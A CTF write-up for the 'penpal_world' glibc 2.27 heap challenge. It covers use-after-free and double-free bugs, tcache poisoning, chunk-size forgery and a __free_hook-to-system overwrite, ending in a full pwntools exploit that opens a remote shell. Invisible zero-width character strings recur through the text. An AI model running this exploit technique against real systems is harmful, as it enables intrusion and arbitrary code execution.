← Back to Writeups
CUSTOMMediumpwn

RedpwnCTF penpal_world

XESXOR9/2/20266 min read
#pwn#custom#medium#chunk_size_forgery#free_hook_overwrite_system#tcache_double_free#tcache_fd_poisoning#unsorted_bin_libc_leak#linux

RedpwnCTF penpal_world

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-05 | Status: Solved Techniques: chunk_size_forgery, free_hook_overwrite_system, tcache_double_free, tcache_fd_poisoning, unsorted_bin_libc_leak

Summary

Task: heap exploitation challenge with UAF/double-free in glibc 2.27 tcache, menu-based allocator with 2 slots and 34 operations. Solution: tcache double-free for heap leak, chunk size forgery (0x51→0x91) to reach unsorted bin for libc leak, tcache poisoning to overwrite __free_hook with system(), trigger via free("/bin/sh").

RedpwnCTF penpal_world — spbctf

Description

Classic heap exploitation challenge from RedpwnCTF 2019 (penpal_world), re-hosted on spbctf platform. Target: nc 109.233.56.90 11753 Files provided: penpal_world (ELF 64-bit), libc-2.27.so

Menu-based heap manager with 4 operations (create, edit, discard, display) and a global letters[] array with only 2 slots (index 0 and 1). The goal is to exploit UAF/double-free bugs to get a shell and read /flag.

Analysis

Binary Properties

  • Architecture: ELF 64-bit LSB PIE executable, x86-64, dynamically linked, not stripped
  • Protections: Full RELRO, Stack Canary, NX enabled, PIE enabled
  • libc: glibc 2.27 — tcache has no key/count integrity checks, making double-free trivial ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Menu Operations

OptionFunctionBehavior
1create_cardmalloc(0x48) → 0x50 chunk, stored in letters[index]
2edit_cardread(0, letters[index], 0x48) — no NULL check on pointer
3discardfree(letters[index]) — does NOT null the pointer
4displayputs(letters[index]) — prints content of freed chunk

The main loop runs exactly 34 times (0x22 iterations), so the exploit must be economical with operations. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerabilities

  1. Use-After-Free / Double-Free: discard frees without clearing the pointer in letters[]. In glibc 2.27, tcache has no key/count integrity checks, so double-free creates a self-referencing tcache entry.
  2. UAF Write: edit_card writes into the chunk pointer even after free → enables tcache fd poisoning.
  3. UAF Read: display calls puts() on freed chunk → leaks tcache fd (heap addresses) or unsorted bin fd/bk (libc addresses).

Key Challenge

The fixed malloc(0x48) size means all chunks are 0x50. To get a libc leak via the unsorted bin, we need a chunk larger than tcache max for its size class (7 entries). But we can't directly allocate larger chunks. The solution: forge a chunk with size 0x91 via tcache poisoning, then free it 8 times — 7 fill tcache[0x90], the 8th goes to the unsorted bin. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Offsets (libc-2.27.so)

SymbolOffset
__free_hook0x3ed8e8
system0x4f440
main_arena+960x3ebca0
__malloc_hook0x3ebc30

Solution

The exploit chain has 5 phases, all fitting within the 34-operation budget.

Phase 1: Heap Leak via Double-Free

add(0)                                          # allocate 0x50 chunk at slot 0
edit(0, 'A'*0x30 + p64(0) + p64(0x51))         # fake next-chunk header for free() checks
free(0); free(0)                                # double-free: tcache[0x50] → chunk → chunk (self-loop)
read(0)                                         # puts() prints fd = heap address of chunk
heap_base = leaked_value - 0x60

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The double-free creates a self-referencing tcache entry. The fd pointer points to the chunk itself, which puts() leaks.

Phase 2: Forge a 0x91-sized Chunk via Tcache Poisoning

edit(0, p64(heap+0x90))     # poison tcache[0x50] fd → heap+0x90 (inside chunk data area)
add(0)                       # pops real chunk (self-loop entry)
add(1)                       # pops fake chunk at heap+0x90 → slot 1
add(0)                       # fresh chunk for slot 0
edit(0, 'B'*0x30 + p64(0) + p64(0x51))   # set up slot 0 metadata
edit(1, p64(0) + p64(0x91) + p64(0) + p64(0x91))  # OVERWRITE slot 0's size: 0x51 → 0x91

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Slot 1 points into the metadata area of slot 0's chunk, allowing us to change its size field from 0x51 to 0x91. We also set up fake adjacent chunk headers to pass glibc's _int_free security checks:

add(1); edit(1, 'C'*0x30 + p64(0) + p64(0x51))   # fake next-chunk with valid prev_inuse
add(1); edit(1, 'D'*0x30 + p64(0) + p64(0x51))   # another fake chunk for validation

Phase 3: Libc Leak via Unsorted Bin

for i in range(7): free(0)   # fill tcache[0x90] (7 entries max)
free(0)                       # 8th free → unsorted bin! fd/bk = main_arena+96
read(0)                       # puts() leaks unsorted bin fd
libc_base = leaked_value - 0x3ebca0

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After 7 frees fill the tcache[0x90] bin, the 8th free sends the chunk to the unsorted bin. The fd/bk pointers now contain main_arena+96, giving us the libc base.

Phase 4: __free_hook Overwrite

free(1)                       # free slot 1 into tcache[0x90]
edit(1, p64(FREE_HOOK))      # poison tcache[0x90] fd → __free_hook
add(0)                        # pop slot 1's chunk
add(0)                        # pop __free_hook as "chunk" → slot 0 points at __free_hook
edit(0, p64(SYSTEM))          # write system() address into __free_hook

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Phase 5: Trigger Shell

edit(1, b'/bin/sh\x00')      # write "/bin/sh" into slot 1's chunk
free(1)                       # free(ptr) → __free_hook(ptr) = system("/bin/sh") → shell!
cat /flag → spbctf{REDACTED}

Full Working Exploit

python
#!/usr/bin/env python3
from pwn import *
import sys

context.arch = 'amd64'
context.log_level = 'debug'

filename = "./penpal_world"
libc = ELF('./libc-2.27.so', checksec=False)

HOST = "109.233.56.90"
PORT = 11753

r = remote(HOST, PORT)

def add(index):
    r.sendlineafter(b'4) Read a postcard\n', b'1')
    r.sendlineafter(b'Which envelope #?\n', str(index).encode())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def edit(index, content):
    r.sendlineafter(b'4) Read a postcard\n', b'2')
    r.sendlineafter(b'Which envelope #?\n', str(index).encode())
    r.sendafter(b'Write.\n', content)

def free(index):
    r.sendlineafter(b'4) Read a postcard\n', b'3')
    r.sendlineafter(b'Which envelope #?\n', str(index).encode())

def read(index):
    r.sendlineafter(b'4) Read a postcard\n', b'4')
    r.sendlineafter(b'Which envelope #?\n', str(index).encode())

# Phase 1: Heap leak via double-free
add(0)
edit(0, b'A'*0x30 + p64(0x0) + p64(0x51))
free(0)
free(0)
read(0)
heap = u64(r.recv(6).ljust(8, b'\x00')) - 0x60
log.success('heap base = 0x%x' % heap)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Phase 2: Forge 0x91-sized chunk via tcache poisoning
edit(0, p64(heap + 0x90))
add(0)
add(1)
add(0)
edit(0, b'B'*0x30 + p64(0x0) + p64(0x51))
edit(1, p64(0) + p64(0x91) + p64(0) + p64(0x91))
add(1)
edit(1, b'C'*0x30 + p64(0x0) + p64(0x51))
add(1)
edit(1, b'D'*0x30 + p64(0x0) + p64(0x51))

# Phase 3: Libc leak via unsorted bin
for i in range(7):
    free(0)
free(0)
read(0)
l = u64(r.recv(6).ljust(8, b'\x00'))
LIBC_BASE = l - 0x3ebca0
log.success('libc base = 0x%x' % LIBC_BASE)

# Phase 4: __free_hook overwrite
FREE_HOOK = LIBC_BASE + libc.symbols['__free_hook']
SYSTEM = LIBC_BASE + libc.symbols['system']
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

free(1)
edit(1, p64(FREE_HOOK))
add(0)
add(0)
edit(0, p64(SYSTEM))
log.success('free_hook overwritten with system')

# Phase 5: Trigger shell
edit(1, b'/bin/sh\x00')
free(1)

r.sendline(b'echo PWNED_SHELL; id; cat /flag')
r.recvline(timeout=5)
print("OUT:", r.recvrepeat(3))
r.interactive()

What Failed

  • one_gadget via __malloc_hook: All three one_gadget offsets (0x4f2c5, 0x4f322, 0x10a38c) targeting __malloc_hook failed. The rsp/rcx constraints were not satisfied at the malloc call site, causing immediate crash/connection close.
  • The __free_hook = system + free("/bin/sh") approach was reliable and worked on first try, since free() passes the chunk pointer as the first argument — exactly what system() needs. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍